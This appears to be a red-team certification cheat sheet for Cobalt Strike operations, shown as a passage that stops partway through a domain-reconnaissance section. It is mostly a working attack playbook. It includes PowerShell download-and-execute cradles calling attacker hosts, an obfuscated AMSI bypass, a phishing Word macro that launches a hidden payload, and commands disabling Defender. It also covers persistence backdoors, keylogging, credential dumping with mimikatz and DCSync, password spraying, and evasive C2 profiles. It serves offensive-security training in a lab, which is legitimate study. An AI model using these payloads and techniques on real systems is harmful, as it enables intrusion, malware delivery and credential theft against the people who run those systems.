**[Certified Red Team Operator (CRTO) - Notes](https://m4lici0u5.com/notes/crto-notes/)**

**Name** : **CRTO - Red Teaming Command Cheat Sheet (Cobalt Strike)**

Course Link : <https://training.zeropointsecurity.co.uk/courses/red-team-ops>

Original Cheatsheet Link : [https://github.com/0xn1k5/Red-Teaming/blob/main/Red Team Certifications - Notes %26 Cheat Sheets/CRTO - Notes %26 Cheat Sheet.md](https://github.com/0xn1k5/Red-Teaming/blob/main/Red%20Team%20Certifications%20-%20Notes%20%26%20Cheat%20Sheets/CRTO%20-%20Notes%20%26%20Cheat%20Sheet.md)

Compiled By : Nikhil Raj ( Twitter: <https://twitter.com/0xn1k5> | Blog: [https://organicsecurity.in](https://organicsecurity.in/) )

Modified By : An0nud4y ( Twitter: <https://twitter.com/an0nud4y> | Blog: <https://an0nud4y.com> )

**Disclaimer** : This cheat sheet has been compiled from multiple sources with the objective of aiding fellow pentesters and red teamers in their learning. The credit for all the tools and techniques belongs to their original authors. I have added a reference to the original source at the bottom of this document.

These Notes/Cheatsheet are also available on Github - <https://github.com/An0nUD4Y/CRTO-Notes>

Red Teaming Notes Notion : <https://an0nud4y.notion.site/CRTO-Notes-a2a6242a4c4b4506b31f46db20155608?pvs=4>

Access to my **CRTO** Notes is restricted due to Policy. If you are enrolled in CRTO ping me on discord (an0nud4y) or <https://an0nud4y.com> to get my CRTO notes access.

**Table of Contents**

* [MISC](https://m4lici0u5.com/notes/crto-notes/#misc)
* [Command & Control](https://m4lici0u5.com/notes/crto-notes/#command--control)
* [Setup CS Listeners](https://m4lici0u5.com/notes/crto-notes/#setup-cs-listeners)
* [Defender Antivirus / AMSI](https://m4lici0u5.com/notes/crto-notes/#defender-antivirus--amsi)
* [Initial Compromise](https://m4lici0u5.com/notes/crto-notes/#initial-compromise)
* [Host Reconnaissance](https://m4lici0u5.com/notes/crto-notes/#host-reconnaissance)
* [Host Persistence](https://m4lici0u5.com/notes/crto-notes/#host-persistence-normal--privileged)
* [Host Privilege Escalation](https://m4lici0u5.com/notes/crto-notes/#host-privilege-escalation)
* [Credential Theft](https://m4lici0u5.com/notes/crto-notes/#credential-theft)
* [Domain Recon](https://m4lici0u5.com/notes/crto-notes/#domain-recon)
* [User Impersonation](https://m4lici0u5.com/notes/crto-notes/#user-impersonation)
* [Lateral Movement](https://m4lici0u5.com/notes/crto-notes/#lateral-movement)
* [Session Passing](https://m4lici0u5.com/notes/crto-notes/#session-passing)
* [Pivoting](https://m4lici0u5.com/notes/crto-notes/#pivoting)
* [Data Protection API (DPAPI)](https://m4lici0u5.com/notes/crto-notes/#data-protection-api-dpapi)
* [Kerberos](https://m4lici0u5.com/notes/crto-notes/#kerberos)
* [Active Directory Certificate Services](https://m4lici0u5.com/notes/crto-notes/#active-directory-certificate-services)
* [Group Policy](https://m4lici0u5.com/notes/crto-notes/#group-policy)
* [MSSQL Servers](https://m4lici0u5.com/notes/crto-notes/#mssql-servers)
* [Domain Dominance](https://m4lici0u5.com/notes/crto-notes/#domain-dominance)
* [Forest & Domain Trusts](https://m4lici0u5.com/notes/crto-notes/#forest--domain-trusts)
* [LAPS](https://m4lici0u5.com/notes/crto-notes/#laps)
* [AppLocker](https://m4lici0u5.com/notes/crto-notes/#applocker)
* [Data Exfiltration](https://m4lici0u5.com/notes/crto-notes/#data-exfiltration)
* [Reference](https://m4lici0u5.com/notes/crto-notes/#reference)

**MISC**

# Run a python3 webserver

$ python3 -m http.server

# Check outbound access to TeamServer

$ iwr -Uri http://nickelviper.com/a

$ iwr -Uri http://nickelviper.com/a -OutFile beacon.ps1

# Change incoming firewall rules

beacon> powerpick Get-NetFirewallRule

# Enable http inbound and outbound connection

beacon> powerpick New-NetFirewallRule -Name "HTTP-Inbound" -DisplayName "HTTP (TCP-In)" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 80

beacon> powerpick New-NetFirewallRule -Name "HTTP-Outbound" -DisplayName "HTTP (TCP-Out)" -Enabled True -Direction Outbound -Protocol TCP -Action Allow -LocalPort 80

# Enable Specific port inbound and outbound connection

# Inbound Rule

beacon> powerpick New-NetFirewallRule -Name "Allow-Port-Inbound" -DisplayName "Allow Inbound Connections to Port 12345" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 4444

# Outbound Rule

beacon> powerpick New-NetFirewallRule -Name "Allow-Port-Outbound" -DisplayName "Allow Outbound Connections to Port 12345" -Enabled True -Direction Outbound -Protocol TCP -Action Allow -RemotePort 4444

# Removing a firewall rule by its name

beacon> powerpick Remove-NetFirewallRule -DisplayName "Test Rule"

# Disabled Real Time Protection / Windows Defender

beacon> powerpick Set-MPPreference -DisableRealTimeMonitoring $true -Verbose

beacon> powerpick Set-MPPreference -DisableIOAVProtection $true -Verbose

beacon> powerpick Set-MPPreference -DisableIntrusionPreventionSystem $true -Verbose

## Encode the powershell payload to base64 for handling extra quotes

# From Powershell

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#From Linux

$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0

# Final Command to execute encoded payload

powershell -nop -enc <BASE64\_ENCODED\_PAYLOAD>

# CobaltStrike AggressorScripts for Persistence

https://github.com/Peco602/cobaltstrike-aggressor-scripts/tree/main/persistence-sharpersist

**Command & Control**

* Setting up DNS records for DNS based beacon payloads

# Set below DNS Type A & NS records, where IP points to TeamServer

@ | A | 10.10.5.50

ns1 | A | 10.10.5.50

pics | NS | ns1.nickelviper.com

# Verify the DNS configuration from TeamServer, it should return 0.0.0.0

$ dig @ns1.nickelviper.com test.pics.nickelviper.com +short

# Use pics.nickelviper.com as DNS Host and Stager in Listener Configuration

* Start the teamserver and run as service

> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

$ ip a

$ sudo nano /etc/systemd/system/teamserver.service

[Unit]

Description=Cobalt Strike Team Server

After=network.target

StartLimitIntervalSec=0

[Service]

Type=simple

Restart=always

RestartSec=1

User=root

WorkingDirectory=/home/attacker/cobaltstrike

ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

[Install]

WantedBy=multi-user.target

$ sudo systemctl daemon-reload

$ sudo systemctl status teamserver.service

$ sudo systemctl start teamserver.service

$ sudo systemctl enable teamserver.service

* Enable Hosting of Web Delivery Payloads via agscript client in headless mode

$ cat host\_payloads.cna

# Connected and ready

on ready {

# Generate payload

$payload = artifact\_payload("http", "powershell", "x64");

# Host payload

site\_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);

}

# Add below command in "/etc/systemd/system/teamserver.service" file

ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host\_payloads.cna &'

* Custom Malleable C2 Profile for CRTO

# Custom C2 Profile for CRTO (Modified by an0nud4y)

set sample\_name "Dumbledore";

set sleeptime "2000";

set jitter "20";

set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";

set host\_stage "true";

stage {

set userwx "false"; #Allocate Beacon DLL as RW/RX rather than RWX.

set cleanup "true"; #Free memory associated with reflective loader after it has been loaded

set obfuscate "true"; # Load Beacon into memory without its DLL headers

set module\_x64 "xpsservices.dll"; #Load DLL from disk, then replace its memory with Beacon.

}

post-ex {

set amsi\_disable "true";

# Malleable C2 amsi\_disable does not applies to Cobalt Strike Jump Command (psexec\_psh , winrm and winrm64).

# Read this blog - https://offensivedefence.co.uk/posts/making-amsi-jump/

set spawnto\_x64 "%windir%\\sysnative\\dllhost.exe";

#set spawnto\_x64 "%windir%\\System32\\dllhost.exe";

set spawnto\_x86 "%windir%\\syswow64\\dllhost.exe";

}

http-get {

set uri "/cat.gif /image /pixel.gif /logo.gif";

client {

# customize client indicators

header "Accept" "text/html,image/avif,image/webp,\*/\*";

header "Accept-Language" "en-US,en;q=0.5";

header "Accept-Encoding" "gzip, deflate";

header "Referer" "https://www.google.com";

parameter "utm" "ISO-8898-1";

parameter "utc" "en-US";

metadata{

base64;

header "Cookie";

}

}

server {

# customize server indicators

header "Content-Type" "image/gif";

header "Server" "Microsoft IIS/10.0";

header "X-Powered-By" "ASP.NET";

output{

prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";

prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";

prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

print;

}

}

}

http-post {

set uri "/submit.aspx /finish.aspx";

client {

header "Content-Type" "application/octet-stream";

header "Accept" "text/html,image/avif,image/webp,\*/\*";

header "Accept-Language" "en-US,en;q=0.5";

header "Accept-Encoding" "gzip, deflate";

header "Referer" "https://www.google.com";

id{

parameter "id";

}

output{

print;

}

}

server {

# customize server indicators

header "Content-Type" "text/plain";

header "Server" "Microsoft IIS/10.0";

header "X-Powered-By" "ASP.NET";

output{

netbios;

prepend "<!DOCTYPE html><html><head><title></title></head><body><h1>";

append "</h1></body></html>";

print;

}

}

}

http-stager {

server {

header "Content-Type" "application/octet-stream";

header "Server" "Microsoft IIS/10.0";

header "X-Powered-By" "ASP.NET";

}

}

**Setup CS Listeners**

* Setting up the SMB Listener
  + Default pipe name is quite well signatured.  A good strategy is to emulate names known to be used by common applications or Windows itself.
  + Use PS C:\> ls \\.\pipe\ to list all currently listening pipes for inspiration.
    - TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24a0c57
* Setting up Pivot Listener
  + Beacon\_reverse\_tcp and Beacon\_Bind\_Tcp both are different type of Listeners.
  + Pivot Listeners can only be created from a beacon.
  + Steps to create a Pivot Listener
    - Click on the Beacon Host
    - Select Pivoting > Listener and Give it a Name and leave other options untouched (Modify if required)
    - Now in the Beacon Host machine you can check that is Beacon Process has a opened Port
      * netstat -anop tcp | findstr <PORT> where port is the pivot listener port
    - Now go to the payloads and generate any payload and select the beacon\_reverse\_tcp as payload listener.

**Defender Antivirus / AMSI**

# Modifying Artifact Kit

# Modify script\_template.cna and replace all instances of rundll32.exe with dllhost.exe

PS > $template\_path="C:\Tools\cobaltstrike\arsenal-kit\kits\artifact\script\_template.cna" ; (Get-Content -Path $template\_path) -replace 'rundll32.exe' , 'dllhost.exe' | Set-Content -Path $template\_path

# Compile the Artifact kit (From WSL in Attacker windows Machine)

$ cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact

$ ./build.sh pipe VirtualAlloc 296948 5 false false none /mnt/c/Tools/cobaltstrike/artifacts

# Other Techniques are : mailslot, peek , pipe, readfile, readfile-v2

# Now load the artifact kit in cobalt strike (Cobalt Strike > Script Manager > Load)

# Now generate the payloads and test if these are getting detected, if they are detected by ThreatCheck , Follow the notes to modify the artifact kit code.

# Resource kit

# Compile the resource kit

$ cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource && ./build.sh /mnt/c/Tools/cobaltstrike/resources

# Elevate kit

# Load Elevate kit in cobalt strike (manually or from script console)

aggressor> load C:\Tools\cobaltstrike\elevate-kit\elevate.cna

#-----------------------------------------------------------------------------------

# To test AMSI, use the AMSI Test Sample PowerShell cmdlet.

# "The term 'AMSI' is not recognised" refers that AMSI is not enabled, So either AMSI Bypass is working or Defender is not enabled.

Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

# To test on-disk detections, drop the EICAR test file somewhere such as the desktop.

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\*

# Verify if the payload is AV Safe

PS> C:\Tools\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release\ThreatCheck.exe -f C:\Payloads\smb\_x64.svc.exe -e AMSI

PS> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\http\_x64.exe -e AMSI

# One Liner to test all payloads for AV safe

PS> Get-ChildItem -Path "C:\Payloads\" -File | ForEach-Object { & echo "Testing file against ThreatCheck (AMSI): $\_" ; C:\Tools\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release\ThreatCheck.exe -e AMSI -f $\_.FullName }

# Load the CNA file: Cobalt Strike > Script Manager > Load > and select the CNA

# Use Payloads > Windows Stageless Generate All Payloads to replace all of your payloads in `C:\Payloads`

# Disable AMSI in Malleable C2 profile

$ vim c2-profiles/normal/webbug.profile

# Right above the `http-get` block, add the following:

post-ex {

set amsi\_disable "true";

set spawnto\_x64 "%windir%\\sysnative\\dllhost.exe";

#set spawnto\_x64 "%windir%\\System32\\dllhost.exe";

set spawnto\_x86 "%windir%\\syswow64\\dllhost.exe";

}

# Minimize the Behavioural Detections by modifying the Malleable c2 Profile

stage {

set userwx "false"; #Allocate Beacon DLL as RW/RX rather than RWX.

set cleanup "true"; #Free memory associated with reflective loader after it has been loaded

set obfuscate "true"; # Load Beacon into memory without its DLL headers

set module\_x64 "xpsservices.dll"; #Load DLL from disk, then replace its memory with Beacon.

}

# Verify the modified C2 profile

attacker@ubuntu ~/cobaltstrike> ./c2lint c2-profiles/normal/webbug.profile

# Creating custom C2 profiles

https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/

# Note: `amsi\_disable` only applies to `powerpick`, `execute-assembly` and `psinject`. It \*\*does not\*\* apply to the powershell command.

# Behaviour Detections (change default process for fork & run)

beacon> spawnto x64 %windir%\System32\taskhostw.exe

beacon> spawnto x86 %windir%\syswow64\dllhost.exe

beacon> spawnto x64 %windir%\System32\dllhost.exe

beacon> spawnto x86 %windir%\syswow64\dllhost.exe

beacon> powerpick Get-Process -Id $pid | select ProcessName

# Change the default process for psexec

beacon> ak-settings spawnto\_x64 C:\Windows\System32\dllhost.exe

beacon> ak-settings spawnto\_x86 C:\Windows\SysWOW64\dllhost.exe

# Disable Defender from local powershell session

Get-MPPreference

Set-MPPreference -DisableRealTimeMonitoring $true

Set-MPPreference -DisableIOAVProtection $true

Set-MPPreference -DisableIntrusionPreventionSystem $true

## AMSI BYPASS -----------------------------------------------------------------

# AMSI BYPASS : Use AMSI Bypass with powershell payload if required,

# Save below one liner to a ps1 file and host it on cobalt strike and use Powershell IEX to fetch and run it in memory to bypass AMSI.

# Malleable C2 amsi\_disable does not applies to Cobalt Strike Jump Command, So some methods in jump command which uses Powershell like psexec\_psh , winrm and winrm64 will not work if payload is detected, So we musty have to use Custom AMSI Bypass script to avoid that and get a shell.

# To make the jump command work and include amsi bypass into it, We need to modify the Resource kit's template.x86.ps1 (for winrm), template.x64.ps1 (for winrm64) and compress.ps1 (for psexec\_psh).

# To learn more , Read this blog - https://offensivedefence.co.uk/posts/making-amsi-jump/

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ; Start-Job -ScriptBlock{iex (iwr http://nickelviper.com/a -UseBasicParsing)}

# Like below

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/amsi-bypass.ps1')) ; IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"

# It can also be combined with Macro

# Powershell Execute cradles

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

powershell.exe -nop -w hidden -c "iex (iwr http://nickelviper.com/amsi-bypass.ps1 -UseBasicParsing)"

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1

');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

PSv3 onwards

iex (iwr 'http://192.168.230.1/evil.ps1')

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex $h.responseText

$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")

$r = $wr.GetResponse()

IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

**Initial Compromise**

* Enumerating OWA to identify valid user and conducting password spraying attack

# Identify the mail server of given domain

$ dig cyberbotic.io

$ ./dnscan.py -d cyberbotic.io -w subdomains-100.txt

# Idenitfy the NETBIOS name of target domain

ps> ipmo C:\Tools\MailSniper\MailSniper.ps1

ps> Invoke-DomainHarvestOWA -ExchHostname mail.cyberbotic.io

# Extract Employee Names (FirstName LastName) and Prepare Username List

$ ~/namemash.py names.txt > possible.txt

# Validate the username to find active/real usernames

ps> Invoke-UsernameHarvestOWA -ExchHostname mail.cyberbotic.io -Domain cyberbotic.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt

# Conduct Password Spraying attack with known Password on identified users

ps> Invoke-PasswordSprayOWA -ExchHostname mail.cyberbotic.io -UserList .\Desktop\valid.txt -Password Summer2022

# Use Identified credentials to download Global Address List

ps> Get-GlobalAddressList -ExchHostname mail.cyberbotic.io -UserName cyberbotic.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt

* Create a malicious Office file having embedded macro

# Step 1: Open a blank word document "Document1". Navigate to View > Macros > Create. Changes macros in to Document1. Name the default macro function as AutoOpen. Paste the below content and run for testing

Sub AutoOpen()

Dim Shell As Object

Set Shell = CreateObject("wscript.shell")

Shell.Run "notepad"

End Sub

# Step 2: Generate a payload for web delivery (Attacks > Scripted Web Delivery (S) and generate a 64-bit PowerShell payload with your HTTP/DNS listener). Balance the number of quotes

Sub AutoOpen()

Dim Shell As Object

Set Shell = CreateObject("wscript.shell")

Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""

End Sub

# Step 3: Save the document as .doc file and send it as phising email

# AMSI BYPASS : Use AMSI Bypass with above payload if required,

# Save below one liner to a ps1 file and host it on cobalt strike and use Powershell IEX to fetch and run it in memory to bypass AMSI.

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

# Like below, It can also be combined with above Macro

Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/amsi-bypass.ps1')) ; IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""

**Host Reconnaissance**

# Identify running process like AV, EDR or any monitoring and logging solution

beacon> ps

# Check default process for fork & run

beacon> powerpick Get-Process -Id $pid | select ProcessName

# Use Seatbealt to enumerate about system

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system

# Screenshot, Clipboard, Keylogger and User Sessions of currently logged in user

beacon> screenshot

beacon> clipboard

beacon> net logons

beacon> keylogger

beacon> job

beacon> jobkill 3

**Host Persistence (Normal + Privileged)**

# Default location for powershell

C:\windows\syswow64\windowspowershell\v1.0\powershell

C:\Windows\System32\WindowsPowerShell\v1.0\powershell

# Encode the payload for handling extra quotes

# Powershell

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#Linux

$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0

# Final Command

powershell -nop -enc <BASE64\_ENCODED\_PAYLOAD>

# ---------------------------------------------------------------------------------

# Common userland persistence methods include -

# HKCU / HKLM Registry Autoruns,

# Scheduled Tasks,

# Startup Folder

# CobaltStrike AggressorScripts for Persistence

# Copy the aggressor script cna code and paste in the Attacker machine and also copy the sharpersist.exe from Attacker machine Tools and put in the same directory as of persistence cna file.

https://github.com/Peco602/cobaltstrike-aggressor-scripts/tree/main/persistence-sharpersist

# Tip : Windows Service Peristence with a onDisk Executable is most reliable in lab (Need Priv to configure)

# Persistance - Task Scheduler

# Persistance hourly

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoAC...GEAIgApACkA" -n "Updater" -m add -o hourly

# Persistance on Logon (Need Admin Privileges)

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoAC...GEAIgApACkA" -n "Updater" -m add -o logon

# Persistance - Startup Folder

PS C:\> $str = "IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/amsi-bypass.ps1')) ; IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAuAHAAcwAxACcAKQApACAAOwAgAEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbgBpAGMAawBlAGwAdgBpAHAAZQByAC4AYwBvAG0ALwBhACcAKQApAA==" -f "UserEnvSetup" -m add

# Persistance - Registry Autorun

beacon> cd C:\ProgramData

beacon> upload C:\Payloads\http\_x64.exe

beacon> mv http\_x64.exe Updater.exe

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add

# Persistance COM Hijacks

# Persistance - Privilleged System User

# Windows Service

beacon> cd C:\Windows

beacon> upload C:\Payloads\tcp-local\_x64.svc.exe

beacon> mv tcp-local\_x64.svc.exe legit-svc.exe

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add

# Register WMI event to trigger our payload

beacon> cd C:\Windows

beacon> upload C:\Payloads\dns\_x64.exe

beacon> powershell-import C:\Tools\PowerLurk.ps1

beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns\_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

# TIP : Use a beacon with slow check-in and spawn a new Session from it , So that it can be later used as lifeline.

beacon> spawn x64 http

beacon> inject 4464 x64 http

# Create a new Session (child of current process) using spawn or shspawn.

beacon> spawn x64 http

beacon> shspawn x64 C:\Payloads\msf\_http\_x64.bin

# Inject a full Beacon payload for the specified listener using inject or shinject.

beacon> inject 4464 x64 tcp-local

beacon> execute C:\Windows\System32\notepad.exe

beacon> ps

beacon> shinject <PID> x64 msf.bin

**Host Privilege Escalation**

# Query and Manage all the installed services

beacon> powershell Get-Service | fl

beacon> run wmic service get name, pathname

beacon> run sc query

beacon> run sc qc VulnService2

beacon> run sc stop VulnService1

beacon> run sc start VulnService1

# Use SharpUp to find exploitable services

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit

# CASE 1: Unquoted Service Path (Hijack the service binary search logic to execute our payload)

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl

beacon> cd C:\Program Files\Vulnerable Services

beacon> upload C:\Payloads\tcp-local\_x64.svc.exe

beacon> mv tcp-local\_x64.svc.exe Service.exe

beacon> run sc stop VulnService1

beacon> run sc start VulnService1

beacon> connect localhost 4444

# CASE 2: Weak Service Permission (Possible to modify service configuration)

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1

beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access

beacon> run sc qc VulnService2

beacon> mkdir C:\Temp

beacon> cd C:\Temp

beacon> upload C:\Payloads\tcp-local\_x64.svc.exe

beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local\_x64.svc.exe

beacon> run sc qc VulnService2

beacon> run sc stop VulnService2

beacon> run sc start VulnService2

beacon> connect localhost 4444

# CASE 3: Weak Service Binary Permission (Overwite the service binary due to weak permission)

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl

PS C:\Payloads> copy "tcp-local\_x64.svc.exe" "Service 3.exe"

beacon> run sc stop VulnService3

beacon> cd "C:\Program Files\Vulnerable Services"

beacon> upload C:\Payloads\Service3.exe

beacon> run sc start VulnService3

beacon> connect localhost 4444

# UAC Bypass

beacon> run whoami /groups

beacon> elevate uac-schtasks tcp-local

beacon> run netstat -anop tcp

beacon> connect localhost 4444

**Credential Theft**

# "!" symbol is used to run command in elevated context of System User

# "@" symbol is used to impersonate beacon thread token

# Dump TGT/TGS Tickets

beacon> mimikatz !sekurlsa::tickets

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap

# Dump the local SAM database

beacon> mimikatz !lsadump::sam

# Dump the logon passwords (Plain Text + Hashes) from LSASS.exe for currently logged on users

beacon> mimikatz !sekurlsa::logonpasswords

# Dump the encryption keys used by Kerberos of logged on users (hashes incorrectly labelled as des\_cbc\_md4)

beacon> mimikatz !sekurlsa::ekeys

# Dump Domain Cached Credentials (cannotbe be used for lateral movement unless cracked as the hash format is not NTLM so it can't be used with pass the hash)

# https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials#cracking-mscash-mscache-with-hashcat

beacon> mimikatz !lsadump::cache

# List the kerberos tickets cached in current logon session or all logon session (privileged session)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

# Dump the TGT Ticket from given Logon Session (LUID)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt

# DC Sync

beacon> make\_token DEV\nlamb F3rrari

beacon> dcsync dev.cyberbotic.io DEV\krbtgt

beacon> mimikatz !lsadump::dcsync /all /domain:dev.cyberbotic.io

# Dump krbtgt hash from DC (locally)

beacon> mimikatz !lsadump::lsa /inject /name:krbtgt

**Domain Recon**

* Domain Recon using Power View

# Load Powerview powershell script in Beacon Session (Cobalt Strike)

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

# Get Domain Information

beacon> powerpick Get-Domain -Domain <>

# Get Domain SID

beacon> powerpick Get-DomainSID

# Get Domain Controller

beacon> powerpick Get-DomainController | select Forest, Name, OSVersion | fl

# Get Forest Information

beacon> powerpick Get-ForestDomain -Forest <>

# Get Domain Policy

beacon> powerpick Get-DomainPolicyData | select -expand SystemAccess

# Get Domain users

beacon> powerpick Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl

# Identify Kerberoastable/ASEPRoastable User/Uncontrained Delegation

beacon> powerpick Get-DomainUser | select cn,serviceprincipalname

beacon> powerpick Get-DomainUser -PreauthNotRequired

beacon> powerpick Get-DomainUser -TrustedToAuth

# Get Domain Computer

beacon> powerpick Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

# Idenitify Computer Accounts where unconstrained and constrained delegation is enabled

beacon> powerpick Get-DomainComputer -Unconstrained | select cn, dnshostname

beacon> powerpick Get-DomainComputer -TrustedToAuth | select cn, msdsallowedtodelegateto

# Get Domain OU

